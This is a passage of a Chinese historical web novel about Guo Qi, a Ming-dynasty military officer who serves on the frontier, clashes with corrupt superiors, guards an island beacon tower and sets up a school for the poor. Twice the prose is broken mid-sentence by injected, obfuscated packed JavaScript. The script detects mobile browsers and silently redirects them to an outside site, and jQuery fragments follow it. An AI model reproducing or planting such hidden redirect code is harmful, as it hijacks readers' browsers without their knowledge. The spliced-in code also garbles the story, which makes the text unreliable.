王勇带着骑兵离去后,郭玘带领军户们清理战场,救治伤员。看着受伤的军户,郭玘心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16914087|192489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中一阵愧疚:“都是我不好,没有预判到瓦剌骑兵的偷袭,让大家受苦了。” “总旗,您别这么说。”赵虎道,“要不是您身先士卒,我们恐怕早就败了。能跟着您这样的将领,是我们的福气。” 其他军户也纷纷附和:“是啊,总旗,我们不怕苦,不怕累,只要能跟着您,就算战死沙场,也心甘情愿!” 郭玘心中感动,眼眶微微湿润。他知道,有这些忠心耿耿的族人支持,有祖父旧部的暗中相助,他一定能在宣府站稳脚跟,完成父亲的遗愿。 接下来的日子,郭玘更加刻苦地训练军户,提升他们的战斗力。他将父亲教给他的武艺和兵法,倾囊相授给军户们,还根据宣府的地形和瓦剌骑兵的作战特点,制定了一套专门的战术。在他的训练下,军户们的战斗力日益提升,多次挫败了瓦剌骑兵的小规模偷袭,赢得了不少军户的敬佩。 宣府的冬天格外寒冷,气温低至零下二三十度,滴水成冰。军户们的营房四处漏风,晚上睡觉都要裹着厚厚的棉衣,却依旧难以抵御严寒。口粮也越来越短缺,粗粮越来越少,有时甚至要靠打猎、挖野菜充饥。 郭玘将李诚送来的干粮分给受伤和生病的军户,自己则和大家一起吃粗粮、挖野菜。他知道,越是艰苦的环境,越能磨练人的意志。他每日坚持练武、读书,从未有过丝毫懈怠。胸前的“忠”“勇”二字玉佩,仿佛给了他无穷的力量,让他在艰苦的戍边生活中,始终保持着坚定的信念。 这一日,郭玘带领军户们在附近的山林中打猎,希望能改善一下伙食。他们运气不错,猎杀了一头野猪和几只野兔。就在他们准备返回营房时,突然遇到了一队宣府卫的士兵,为首的是一名百户,名叫孙强。 孙强是宣府卫中有名的恶霸,仗着自己是卫指挥使的远房亲戚,平日里横行霸道,欺压同僚,克扣军饷,军户们都对他敢怒不敢言。他看到郭玘等人猎杀了野猪和野兔,眼中闪过一丝贪婪:“郭总旗,你们收获不小啊!这野猪和野兔,理应上缴卫所,由上官分配,怎么能私自占为己有?” 郭玘心中一怒,这孙强明显是想趁机抢夺他们的猎物。他沉声道:“孙百户,这些猎物是我们兄弟辛辛苦苦猎杀的,用来改善戍边伙食,算不上私自占有。而且,总旗麾下军户的口粮分配,自有东海卫传下的规制,还轮不到孙百户指手画脚。” “哼,你一个小小的总旗,也敢跟我顶嘴?”孙强冷笑一声,“在这宣府卫,我说是规矩就是规矩!识相的,就把猎物交出来,否则,别怪我以‘违抗军令’论处!” 他身后的士兵也纷纷上前,摆出一副要动手的样子。 赵虎等人见状,立刻握紧武器,想要上前理论。郭玘拦住了他们,眼神冰冷地看着孙强:“孙百户,我敬你是上官,给你三分薄面。但你不要得寸进尺,这些猎物是我们的,绝不可能交给你!” “好啊,你敢违抗我?”孙强脸色一沉,“兄弟们,给我上,把猎物抢过来,顺便教训教训这个不知天高地厚的小子!” 士兵们闻言,纷纷朝着郭玘等人冲来。郭玘毫不畏惧,拔出腰间的宝剑,迎了上去。他的武艺精湛,宝剑在他手中舞得虎虎生风,很快便将几名士兵打倒在地。 孙强见状,心中一惊,没想到这个年轻总旗的武艺如此高强。他亲自上前,与郭玘交手。孙强的武艺也不差,但在郭玘面前,却不堪一击。几个回合下来,孙强便被郭玘一剑架在了脖子上。 “孙百户,你还要抢吗?”郭玘的声音冰冷。 孙强吓得浑身发抖,连忙求饶:“郭总旗,我错了,我不该抢你的猎物,求你饶了我吧!” 郭玘冷冷地看着他:“念在你是上官的份上,今日我便饶了你。若日后你再敢欺压同僚、克扣军饷,我定会上禀指挥使大人,揭发你的恶行!” “不敢了,我再也不敢了!”孙强连连点头。 郭玘收回宝剑,带着军户们,提着猎物,转身离去。孙强看着他们的背影,眼中闪过一丝怨毒,却不敢有丝毫动作。 回到营房,军户们围着猎物,脸上满是喜悦。他们生火烤肉,空气中弥漫着肉香。郭玘看着大家开心的样子,心中也十分欣慰。这是他们来到宣府后,第一次吃上烤肉,也是第一次感受到一丝温暖。 “总旗,您真是太厉害了!竟然连孙百户都敢得罪!”赵虎一边烤肉,一边说道。 “孙强这种人,就是欺软怕硬。”郭玘道,“我们越是忍让,他越是得寸进尺。只有让他知道我们的厉害,他才不敢再随意欺压我们。” 他顿了顿,继续道:“但我们也要小心,孙强是卫指挥使的远房亲戚,他肯定会怀恨在心,暗中给我们使绊子。日后行事,一定要更加谨慎,不可给他人留下把柄。” 军户们纷纷点头,表示明白。 烤肉的香气飘满了营房,也驱散了一些严寒。郭玘坐在篝火旁,取出怀中的“忠”“勇”二字玉佩,看着跳跃的火光,心中默念着父亲的遗愿。他知道,戍边的日子还很长,未来还有更多的挑战在等待着他。但他不再畏惧,因为他有族人的支持,有祖父旧部的相助,有“忠勇”家训的指引,更有一颗坚定的心。 永乐十二年春,宣府的冰雪开始融化,天气渐渐暖和起来。郭玘带领军户们加固营房,开垦荒地,种植粮食,为新的一年做准备。他还利用空闲时间,通过王勇留下的暗线,悄悄了解京城的局势和武定侯府的情况。 这一日,王勇暗中派人送来消息:永乐帝将于下月巡幸宣府,郭铭将随行前来。届时,郭铭会借着巡查戍边隘口的名义,与他在边墙附近的烽火台秘密见面。 郭玘看着消息,心中一阵激动。他终于要见到郭铭叔了,终于有机会将父亲的遗愿告诉他,终于离为家族洗刷冤屈的目标更近了一步。 他来到边墙之上,望着远方的京城方向,眼中闪烁着坚定的光芒。胸前的“忠”“勇”二字玉佩相互映衬,仿佛在为他加油鼓劲。他知道,新的挑战即将到来,但他已经做好了准备。他会带着父亲的遗愿,带着家族的希望,在这宣府戍边之地,继续坚守“忠勇”家训,以东海卫总旗之身默默积累实力,等待与郭铭叔见面的那一刻,为家族的复兴而不懈努力。 戍边之苦,磨砺了郭玘的意志,也让他更加成熟、更加坚定。他不再是那个初出茅庐的少年,而是一名真正的军户总旗,一名肩负着家族使命的郭家传人。在这塞北的风沙中,他如同一盏明灯,照亮了家族前行的道路,也照亮了自己的未来。 18. 第三卷 拓片传灯 第18章 王彪刁难 永乐十四年春,宣府的风沙终于褪去了凛冽的寒意,边墙下的荒草冒出嫩绿的芽尖。郭玘握着长枪,站在戍边营房前,看着远处归雁北飞,眼中满是归乡的期盼。三年戍边期满,他率领五十名东海卫军户,历经风霜,终于接到了返程的调令。这三年他得到了祖父旧部官兵的照佛,也秘密见到了叔父郭铭,深深记下了他的嘱托:为家族洗净冤屈,为家族延续和兴盛,隐忍历练,积累战功。他的身体更加健壮,眼神更明亮。 “总旗,兄弟们都收拾妥当了,就等您下令出发了!”赵虎肩上扛着行囊,脸上满是掩饰不住的喜悦。这三年,他们在宣府吃尽了苦头,风沙、严寒、战事,无一不磨砺着这些年轻的军户,如今能活着返回东海卫,对他们而言已是最大的幸运。 郭玘点点头,目光扫过身后的兄弟们。他们大多面带风霜,衣衫破旧,却眼神明亮,身姿挺拔。这三年,不仅是戍边的历练,更是意志的锤炼。他沉声道:“出发!归途遥远,大家务必谨慎,照顾好彼此,我们一起回海州城!” “是!”五十名军户齐声应道,声音洪亮,回荡在塞北的天地间。 归途漫漫,他们晓行夜宿,避开战乱路段,一路向东。郭玘沿途留意着各地卫所的动静,也通过祖父旧部留下的暗线,零星打探到一些京城的消息——武定侯府依旧安稳,郭铭叔在锦衣卫的职位愈发稳固,只是永乐帝对勋贵的防范依旧未减,朝堂局势依旧微妙。 行至半途,郭玘接到了一封秘密信函,是郭铭叔通过暗线转交的。信中只有寥寥数语:“戍边有功,归乡宜谨。东海卫旧人仍在,行事需藏锋。待时机成熟,京中相见。” 郭玘将信函烧毁,心中了然。郭铭叔的提醒,正是他心中所虑。三年前离开东海卫时,他还是个初承父业的少年,如今历经戍边磨砺,早已褪去青涩,但身份的隐秘始终是悬在头顶的利剑。王彪等旧人仍在卫所,必然会对他多加提防,归途之后,怕是少不了一番刁难。 半月后,郭玘率领众人终于抵达海州城。熟悉的海风带着咸湿的气息扑面而来,街道上车水马龙,人声鼎沸,与宣府的荒凉形成鲜明对比。族人们早已在城外等候,见到郭玘等人归来,纷纷上前嘘寒问暖,郭福伯更是老泪纵横:“玘儿,你们可算回来了!这三年,可把我们担心坏了!” “郭福伯,让您受苦了。”郭玘躬身行礼,眼中满是感激。他知道,这三年,是郭福伯在海州城主持族中事务,照顾老弱,才让他没有后顾之忧。 回到族中院落,郭玘第一件事便是前往父亲的墓地。他跪在墓碑前,将三年戍边的经历一一诉说,取出胸前的“忠”“勇”二字玉佩,轻声道:“爹,儿子回来了,带着兄弟们平安回来了。您嘱托的事,儿子一刻也未敢忘。” 祭拜完毕,郭玘休整了三日,便前往东海卫左千户所销假。卫所的格局依旧,只是当年的左千户周大人已调任他处,如今的左千户是原右千户所的张大人。郭玘向赵千户禀报了三年戍边的情况,呈上战功文书,赵千户翻阅后,脸上露出赞许之色:“郭总旗,三年戍边,屡挫瓦剌骑兵,保全麾下军户,功不可没。卫所已为你上报朝廷,申请嘉奖。” “多谢赵千户。”郭玘躬身道谢。 就在这时,一名身着吏目服饰的中年男子走了进来,三角眼扫过郭玘,嘴角勾起一抹不易察觉的讥讽。郭玘心中一凛——来人正是王彪。这三年,王彪不仅没有被贬斥,反而凭借着钻营,升任了左千户所吏目,权势比以往更盛。 “赵千户,这位便是郭总旗?”王彪故作惊讶,“三年不见,郭总旗倒是愈发干练了,不愧是从宣府戍边回来的功臣。” “正是郭玘。”赵千户点点头,“王吏目,郭总旗刚回来,后续的差事安排,你多费心。” “放心吧赵千户,属下省得。”王彪应道,目光却始终落在郭玘身上,带着审视与敌意。看来,王彪已知郭玘与武定侯府的关系,更添了恨意,想当初他与一帮兄弟屡受郭兴、郭英的旧部牵制,断了很多财路,气不打一出来。 赵千户离去后,王彪脸上的笑容瞬间收敛,语气冰冷:“郭总旗,三年戍边,倒是让你长了不少本事。不过,东海卫的规矩,你怕是忘了不少。按例,戍边归来的军户,需先到卫所库房清点军械,再到户籍房核对信息,最后由本吏目安排差事。跟我来吧。” 郭玘心中清楚,王彪这是故意刁难。清点军械、核对信息本是寻常流程,但以王彪的为人,必然会从中作梗。他沉声道:“有劳王吏目。” 跟着王彪来到库房,管事的军卒早已等候在那里。王彪指着一堆破旧的长枪、盾牌,道:“郭总旗,这些是你麾下军户当年带出的军械,如今归来,需一一清点核对,若有缺失或损坏,需按价赔偿。” 郭玘走上前,拿起一把长枪,枪杆早已开裂,枪头锈迹斑斑。他心中一怒——当年他们带出的军械虽不算精良,却也都是完好能用的,如今这些明显是库房中积压多年的废铁,显然是王彪故意掉包了。 “王吏目,这些并非我麾下军户带出的军械。”郭玘沉声道,“当年我们带出的军械,枪杆完好,枪头锋利,绝非这些废铁可比。” “哦?郭总旗是在质疑本吏目?”王彪冷笑一声,“库房记录清清楚楚,这些就是你们当年领用的军械编号。你若不认,便是虚报战功,私藏军械,按军法论处!” 管事的军卒也连忙附和:“是啊,郭总旗,库房记录确实如此,您就别为难我们了。” 郭玘看着王彪嚣张的嘴脸,心中怒火中烧。他知道,与王彪争辩无益,反而会落入他的圈套。三年戍边的磨砺让他学会了隐忍,他深吸一口气,压下心中的怒火:“既然王吏目说这些是我们的军械,那便是吧。只是这些军械早已不堪使用,还请王吏目上报千户大人,申请更换。” “更换军械?”王彪嗤笑一声,“郭总旗,东海卫的军械本就紧缺,能给你这些就不错了。想要更换,等你立下更大的功劳再说吧!” 说完,他转身就走:“清点完毕,跟我去户籍房。记住,动作快点,本吏目可没那么多时间等你。” 郭玘看着王彪的背影,握紧了拳头,指甲几乎嵌进掌心。赵虎等人也愤愤不平,想要上前理论,被郭玘拦住了:“不必争执。我们刚回来,立足未稳,不宜与他硬碰硬。” 来到户籍房,王彪故意拿出堆积如山的户籍册,道:“郭总旗,你麾下五十名军户的信息,需一一核对无误,签字画押后才算完成。给你三日时间,若有延误,按渎职论处。” 郭玘看着眼前的户籍册,心中了然。这又是王彪的刁难——五十名军户的信息分散在数十本册子中,三日时间根本不可能核对完毕。但他没有反驳,只是躬身道:“遵令。” 接下来的三日,郭玘日夜不休,埋首于户籍册中。他心思缜密,记忆力超群,加上对麾下军户的信息了如指掌,竟然真的在三日内核对完毕,没有出现一丝差错。 当他将核对完毕的户籍册送到王彪面前时,王彪眼中闪过一丝惊讶,随即又恢复了冰冷:“算你运气好。现在,跟我去见赵千户,安排你的差事。” 来到赵千户的办公处,王彪抢先开口:“赵千户,郭总旗戍边归来,能力出众,属下认为,应当委以重任。不过,东海岛烽燧近日缺少人手看守,那里地处偏远,环境艰苦,需要一位干练的总旗坐镇。郭总旗刚从宣府戍边回来,想必能胜任此职。” 郭玘心中一沉。东海岛烽燧位于海州城东海中东海岛上,远离陆地,孤悬海上,不仅环境艰苦,而且有着东海卫最偏远的烽燧,平日里只有几名军卒驻守,负责监视海面动静,传递烽火信号。王彪将他派到那里,显然是想将他排挤出卫所核心,让他远离权力中心。 赵千户沉吟片刻,看向郭玘:“郭总旗,东海岛北部烽燧虽偏远,但责任重大,你可愿意前往?” 郭玘知道,他没有选择的余地。若他拒绝,王彪必然会借机弹劾他违抗军令;若他接受,虽远离卫所,却也能避开王彪的直接刁难,暗中积蓄力量。再说,他幼时也曾随父驻扎过东海岛,对那里的环境并不陌生。他躬身道:“属下遵命。为朝廷效力,无论何地,属下都心甘情愿。” 赵千户点点头,满意道:“好!那就这么定了。三日后,你便带领麾下十名军卒,前往郁州烽燧驻守。” 离开千户所,赵虎愤愤不平地说:“总旗,王彪太过分了!明明是故意刁难你,把你派到那么偏远的地方!” “无妨。”郭玘淡淡道,“东海岛北部烽燧虽偏远,却也清静,正好可以安心练兵,积累实力。王彪想要让我远离卫所,我偏要在那里做出一番成绩,让他看看。” 他顿了顿,继续道:“而且,东海岛孤悬海上,便于与故人秘密联络,也能避开卫所的耳目,暗中强大自己。这对我们而言,未必不是一件好事。” 赵虎闻言,恍然大悟:“还是总旗想得周全!我们听你的,就算驻守东海岛,也一定好好干!” 三日后,郭玘挑选了赵虎等十名精锐军卒,带着简单的行囊和军械,乘坐卫所的小船,前往郁州北岛。小船在海面上颠簸前行,熟悉的海风拂面而来,郭玘望着远处渐渐清晰的东海岛轮廓,心中感慨万千。 多年前,他随父亲郭斌在郁州岛蛰伏,如今故地重游,却是以东海卫总旗的身份,驻守这里的烽燧。物是人非,唯有心中的“忠勇”家训与胸前的玉佩,始终未变。 小船靠岸后,郭玘带着众人登上东海岛。岛上草木丛生,怪石嶙峋,烽燧位于山顶,是一座用夯土筑成的高台,周围环绕着简陋的营房。驻守在这里的几名军卒见新的总旗到来,连忙上前迎接,神色中带着一丝麻木与疲惫——显然,这里的生活太过枯燥艰苦。 “见过郭总旗。”的军卒躬身行礼,声音低沉。 “不必多礼。”郭玘点点头,“我是新任东海岛烽燧总旗郭玘,从今日起,与大家一同驻守此地。” 他环顾了一下四周,营房破旧,军械简陋,粮草也略显短缺。心中便有了计较:“赵虎,你带人整理营房,修补破损之处;其他人随我清点军械、粮草,登记造册。我们既然来到这里,就要把这里当成自己的家,把防务做好。” “是,总旗!”众人齐声应道。 接下来的日子,郭玘带领军卒们修缮营房,加固烽燧,清点军械,囤积粮草。他以身作则,与军卒们同吃同住,一同巡逻,一同训练,丝毫没有总旗的架子。军卒们起初对他还有些疏离,见他为人正直,做事干练,又体恤下属,渐渐放下了戒备,心甘情愿地跟随他。 东海岛的生活虽然艰苦,却也清静。每日清晨,郭玘会带着军卒们在山顶练武,日出而作,日落而息。闲暇时,他便拿出《孙子兵法》研读,或是拿出怀中的玉佩拓本,细细摩挲,思念父亲,思念郭铭叔,更坚定了为家族洗刷冤屈的信念。 他还利用驻守东海岛的便利,暗中联络祖父的旧部。通过之前留下的暗线,他得知宣府的王勇、张谦等人依旧安好,且在军中颇有威望,若日后有需要,他们定会鼎力相助。同时,他也收到了郭铭叔通过暗线传来的消息,告知他京城局势依旧复杂,永乐帝近期多次北征蒙古,对勋贵的防范稍有放松,让他抓住机会,积累实力,等待合适的时机。 这一日,郭玘带领军卒们在烽燧周围开垦荒地。东海岛的土地虽不算肥沃,但经过他们的辛勤劳作,也种上了玉米、红薯等耐旱作物。看着绿油油的庄稼,军卒们脸上露出了笑容——他们知道,有了这些庄稼,日后的口粮便有了保障。 休息时,一名老军卒感慨道:“郭总旗,您来了之后,这东海岛烽燧可算是有了生气。以前的总旗,要么贪图安逸,要么欺压下属,根本不管我们的死活。只有您,真心实意地为我们着想。” “是啊,郭总旗。”另一名军卒附和道,“跟着您,就算驻守在这偏远的地方,我们也心甘情愿!” 郭玘笑了笑:“大家都是为朝廷效力,理应相互照应。只要我们团结一心,把防务做好,把日子过好,就比什么都强。” 他顿了顿,继续道:“而且,东海岛烽燧虽偏远,却是东海卫海防的重要据点,一旦海上有倭寇或海盗侵扰,我们便是第一道防线,责任重大。我们必须时刻保持警惕,不能有丝毫懈怠。” 军卒们纷纷点头,表示明白。 日子在平静与忙碌中缓缓流逝。郭玘带领军卒们不仅加固了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16914088|192489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 烽燧,提升了防务能力,还开垦了大片荒地,收获了不少粮食,甚至在岛上挖了一口水井,解决了饮水难题。东海岛烽燧的面貌焕然一新,军卒们的精神面貌也大不相同,个个精神饱满,斗志昂扬。 这一日,郭玘独自一人登上烽燧顶端。夕阳西下,将海面染成一片金黄,远处的海州城轮廓隐约可见。他取出怀中的玉佩拓本,展开来看,“忠勇”二字合璧的纹路在夕阳的映照下,显得格外清晰。他想起了父亲的临终遗言,想起了郭铭叔的嘱托,想起了家族的冤屈,心中感慨万千。 他从怀中取出一把小刀,走到烽燧背面隐蔽处的墙壁前。墙壁是夯土所筑,历经风雨,已有不少斑驳痕迹。他深吸一口气,用小刀在墙壁上缓缓刻画起来——他刻的是玉佩上的“忠”“勇”二字,以及玉佩合璧的纹路,每一笔都刻得格外认真,仿佛在刻下家族的传承与信念。 刻完纹路后,他又在旁边刻下一行小字:“此处有郭氏子”。 这行字,既是对自己的激励,也是对家族的告慰。他要让世人知道,郭家的传人没有沉沦,无论身处何地,都坚守着“忠勇”家训,等待着家族重见天日的那一天。 “总旗,您在刻什么?”赵虎走上前来,好奇地问道。 郭玘转过身,将小刀收好,眼中闪烁着坚定的光芒:“没什么,只是想留下一点念想。” 他看着赵虎,语气郑重:“赵虎,你跟着我多年,是我最信任的人。我告诉你一个秘密——我并非普通军户之后,我的祖父是洪武朝开国功臣郭兴,巩昌侯府的冤屈,我必须洗刷。” 赵虎心中一震,惊讶地看着郭玘:“总旗,您……您竟然是……” “没错。”郭玘点点头,“我父亲郭斌,原名郭景扬,是郭兴将军的次子。胡惟庸案后,家族遭难,父亲带着族人逃亡,隐姓埋名,才得以存活。如今,这个重任落在了我的肩上。” 他取出胸前的“忠”“勇”二字玉佩,递给赵虎看:“这是郭家的传家宝,是‘忠勇’家训的象征。我信任你,希望你能帮我保守这个秘密,与我一同为家族洗刷冤屈。” 赵虎看着手中的玉佩,又看着郭玘坚定的眼神,心中满是敬佩与感动。他单膝跪地,郑重道:“总旗,您放心!赵虎此生,定追随您左右,为您效犬马之劳,助您洗刷家族冤屈,在所不辞!” 郭玘扶起赵虎,心中一阵温暖。他知道,有赵虎这样忠心耿耿的兄弟支持,他的道路会少一些艰难。 接下来的日子,郭玘更加注重对军卒的训练。他将自己在宣府戍边学到的战术技巧,结合东海岛的地形特点,制定了一套专门的海防战术。他还教军卒们读书识字,让他们不仅要有强健的体魄,还要有一定的学识,以便更好地应对各种情况。 在郭玘的带领下,东海岛烽燧的军卒们战斗力日益提升,多次成功发现并驱逐了小规模的海盗船只,为海州城的海防安全立下了汗马功劳。消息传到东海卫所,赵千户对郭玘大加赞赏,王彪心中嫉妒,却也无可奈何。 永乐十五年秋,海州沿海遭遇了一场罕见的台风。狂风呼啸,巨浪滔天,东海岛首当其冲。郭玘带领军卒们加固营房,守护烽燧,与台风展开了殊死搏斗。台风过后,营房受损严重,粮食和淡水也出现了短缺。 郭玘临危不乱,一边组织军卒们抢修营房,一边派人乘坐小船前往海州城求援。同时,他还带领军卒们寻找岛上的淡水水源,采摘野果、捕鱼,勉强维持生计。 就在他们陷入困境时,一艘小船冒着风浪来到了东海岛。船上下来的,正是郭铭叔的亲信。他带来了郭铭叔的密信和一批粮食、药品、淡水。 郭玘打开密信,信中写道:“台风肆虐,知你处境艰难,特派亲信送物资相助。近日京中传来消息,永乐帝欲平反部分洪武朝冤案,武定侯府已暗中上书,为巩昌侯府陈情。你需坚守东海岛,积累军功,待时机成熟,我会派人接你入京,共商洗刷冤屈之事。” 郭玘看着密信,心中一阵激动。他知道,家族洗刷冤屈的机会,终于越来越近了。 亲信离去后,郭玘将带来的物资分给军卒们,大家脸上都露出了喜悦的笑容。有了这些物资,他们便能渡过难关。 “总旗,我们有救了!”赵虎兴奋地说道。 “是啊,总旗。”其他军卒也纷纷附和,“有您在,我们什么困难都能克服!” 郭玘看着大家坚定的眼神,心中充满了欣慰。他知道,只要他们团结一心,坚守“忠勇”家训,就没有克服不了的困难,就一定能等到家族重见天日的那一天。 台风过后,郭玘带领军卒们迅速修复了营房,恢复了烽燧的正常运作。经过这场台风的考验,军卒们对郭玘更加敬佩,凝聚力也更强了。 郭玘站在烽燧顶端,望着远处的海面。夕阳下,海面波光粼粼,海鸥盘旋。他取出怀中的玉佩拓本,轻轻抚摸着上面的“忠勇”二字和“此处有郭氏子”的刻痕,心中默念着父亲和郭铭叔的嘱托。 他知道,驻守东海岛烽燧的日子,只是他人生的一个阶段。未来,还有更多的挑战在等待着他,还有更重要的使命需要他去完成。但他不再畏惧,因为他有忠心耿耿的兄弟,有祖父旧部的支持,有郭铭叔的指引,更有“忠勇”家训的支撑。 他握紧手中的玉佩,眼中闪烁着坚定的光芒。他相信,只要坚守初心,隐忍蛰伏,积累实力,就一定能为家族洗刷冤屈,让郭家的“忠勇”精神重现荣光,让“此处有郭氏子”的誓言,传遍天下。 永乐十六年春,东海卫传来消息,郭玘因在台风中坚守东海岛烽燧,保护海防设施有功,被朝廷晋升为试百户,继续驻守东海岛烽燧。消息传来,军卒们纷纷向郭玘道贺,郭玘却依旧保持着谦逊与谨慎。 他知道,这只是他前进道路上的一小步。他站在烽燧顶端,望着远方的京城方向,心中默念:郭铭叔,父亲,等着我,我一定会带着家族的希望,走向京城,洗刷冤屈,让郭家的荣光重现于世。 东海岛的海风依旧吹拂着,烽燧墙壁上的“忠勇”纹路和“此处有郭氏子”的刻痕,在岁月的侵蚀下,愈发清晰。它们见证着郭玘的坚守与成长,也预示着一个家族即将到来的复兴。 19. 第三卷 拓片传灯 第19章 教谕识玉 永乐十七年夏,海州的海风带着咸湿的暖意,拂过东海岛的礁石。郭玘站在烽燧顶端,望着远处海平面上的归帆,心中泛起一丝波澜。驻守东海岛烽燧已近三载,从总旗晋升为试百户,他率领军卒加固海防、抵御海盗,功绩早已传遍海州城。近日,他接到了东海卫所的调令——调回卫城左千户所,升任实授百户,负责卫城外围的屯田与治安。 “百户,兄弟们都收拾好了,这就出发吗?”赵虎肩上扛着郭玘的行囊,身后跟着十名一同驻守东海岛的军卒。三年来,他们与郭玘同甘共苦,早已情同手足。 郭玘点点头,目光最后扫过烽燧背面墙壁上的刻痕——“忠勇”玉佩纹路与“此处有郭氏子”的字迹在风雨侵蚀下依旧清晰。他伸手抚摸着粗糙的夯土,心中默念:“东海岛,今日暂别,他日若有需,郭玘必归。” 小船驶离东海岛,朝着海州城的方向前行。郭玘立于船头,胸前的“忠”“勇”二字玉佩随着船身的颠簸轻轻晃动。三年驻守,他不仅练就了更沉稳的心智,更通过祖父旧部的暗线,与郭铭叔保持着隐秘联络。郭铭叔在信中告知,永乐帝近年来因北征蒙古、疏浚运河,急需收拢人心,对洪武朝冤案的平反态度渐缓,却也未完全搁置,武定侯府仍在暗中为巩昌侯府陈情,让他耐心等待时机。 返回海州城的当日,郭玘先前往东海卫左千户所报到。新任左千户李大人对他颇为赏识,勉励道:“郭百户,你在东海岛驻守有功,此次调回卫城,望你再接再厉,管好屯田与治安,莫负朝廷厚望。” “属下遵命!”郭玘躬身领命。 走出千户所,他并未立刻返回族中院落,而是带着赵虎前往卫城西侧的屯田区。这里是他父亲郭斌当年推广耐碱谷种的地方,如今已是一片郁郁葱葱的稻田。田埂上,几名老农正在除草,见到郭玘,纷纷停下手中的活计,热情地打招呼:“郭百户,您可回来了!当年您父亲推广的耐碱谷,让我们再也不用饿肚子了!” 郭玘心中一暖,走上前与老农们寒暄。闲聊中得知,近年来东海卫的屯田收成逐年提高,军户与百姓的生活日益安稳,只是卫城西南隅的贫民区,仍有不少人家因疾病、灾害陷入困境。 “郭百户,您是个好心人,能不能帮我们向卫所求求情,给贫民区的孩子们办个蒙学?孩子们整天在街头游荡,也不是个办法。”一名老农小心翼翼地提议。 郭玘心中一动。兴办蒙学,既能帮助贫民子弟识字明理,也能积累民心,更能借此机会结识海州城的有识之士,或许能为家族冤案找到新的突破口。他沉声道:“老丈放心,此事我会向左千户大人禀报,尽力促成。” 回到族中院落,郭福伯早已备好酒菜。席间,郭玘将兴办蒙学的想法告知众人,郭福伯欣慰道:“玘儿,你有这份心,你父亲在天之灵也会高兴。兴办蒙学是积德之事,族中定会全力支持。” 次日,郭玘前往卫所,向李大人禀报了兴办蒙学的提议。李大人闻言,颇为赞同:“郭百户,此事甚好!既有利于教化百姓,又能稳定地方,卫所会拨出部分屯田收入作为蒙学经费。只是,蒙学的教谕人选,还需仔细斟酌。” 郭玘心中早有盘算,道:“大人,属下听闻,前几年被贬至海州的张秉先生,学识渊博、品行端正,若能请他担任教谕,再好不过。” 张秉此人,郭玘早有耳闻。他本是京城翰林院编修,因直言进谏触怒永乐帝,被贬为海州儒学训导,虽仕途失意,却在海州城颇有声望,不少士绅子弟都曾师从于他。 李大人点点头:“张秉确实是合适人选。只是他性情耿直,未必愿意屈就蒙学教谕之职。郭百户,此事便交由你去办。” “属下遵命!”郭玘领命而去。 海州儒学位于卫城东南隅,是一座古朴的院落。郭玘来到儒学门口,递上名帖,等候片刻后,一名身着青衫、面容清癯的中年男子走了出来。他眼神清亮,眉宇间带着一丝桀骜,正是张秉。 “郭百户到访,不知有何见教?”张秉的语气平淡,带着几分疏离。 郭玘躬身行礼:“张先生,晚辈郭玘,今日前来,是想请先生出山,担任卫城贫民区蒙学的教谕。” 张秉闻言,嘴角勾起一抹讥讽:“郭百户是觉得我张秉被贬海州,便只能去教那些贫民子弟识字了?” 郭玘连忙道:“先生误会了!晚辈深知先生学识渊博,只是贫民区的孩子们苦无求学之路,若能得先生教诲,定能改变命运。晚辈并非轻视先生,而是真心希望先生能成全此事。” “真心?”张秉看着郭玘,眼中带着审视,“如今的官员,大多只知争权夺利,你为何要费心为贫民子弟兴办蒙学?” “因为晚辈的父亲,曾是海州的屯田军户。”郭玘沉声道,“晚辈深知底层百姓的疾苦,若不是父亲当年推广耐碱谷种,晚辈一家或许早已饿死。如今晚辈有能力,只想为百姓做些实事,也算是告慰父亲的在天之灵。” 张秉眼中的讥讽渐渐褪去,多了几分动容。他沉默片刻,道:“你父亲是谁?” “家父郭斌,曾是东海卫左千户所军吏。”郭玘答道。 “郭斌?”张秉心中一动,“莫非是当年推广耐碱谷种的郭斌?” “正是。”郭玘点头。 张秉叹了口气:“郭斌先生是个好人,可惜天妒英才,英年早逝。既然是为了完成郭先生的遗愿,又能造福贫民子弟,这教谕之职,我应了。” 郭玘心中一喜,躬身道谢:“多谢先生成全!蒙学的经费、场地,晚辈已备好,明日便可开学。” “不必急于一时。”张秉摆摆手,“蒙学之事,容我先筹划一番。你随我进屋详谈。” 跟着张秉走进儒学的书房,郭玘只见屋内书架林立,摆满了书籍,空气中弥漫着墨香,侧墙上悬“位卑未敢忘忧国”横幅。张秉请郭玘坐下,倒了一杯清茶:“郭百户,你父亲当年推广的耐碱谷种,确实救了不少人。只是,你一个军户出身的百户,为何会有兴办蒙学的想法?” “晚辈自幼跟随父亲读书,深知知识的重要性。”郭玘道,“贫民子弟并非天生愚笨,只是缺少求学的机会。若能让他们识字明理,将来或许能为国家效力,改变自己的命运。” 张秉点点头,对郭玘多了几分好感:“你能有此见识,实属难得。如今的官场,像你这样真心为民的官员,不多了。” 两人闲聊起来,从蒙学的课程设置,聊到海州的民生疾苦,再到经史子集。郭玘自幼在父亲的教导下饱读诗书,又在戍边期间博览群书,学识并不逊于文人墨客。张秉惊讶地发现,眼前这个年轻的百户,不仅武艺高强,学识也颇为渊博,对经史子集的见解更是独到,心中愈发赏识,也不禁产生狐疑:一位军籍出生的百户怎么会有如此见识? 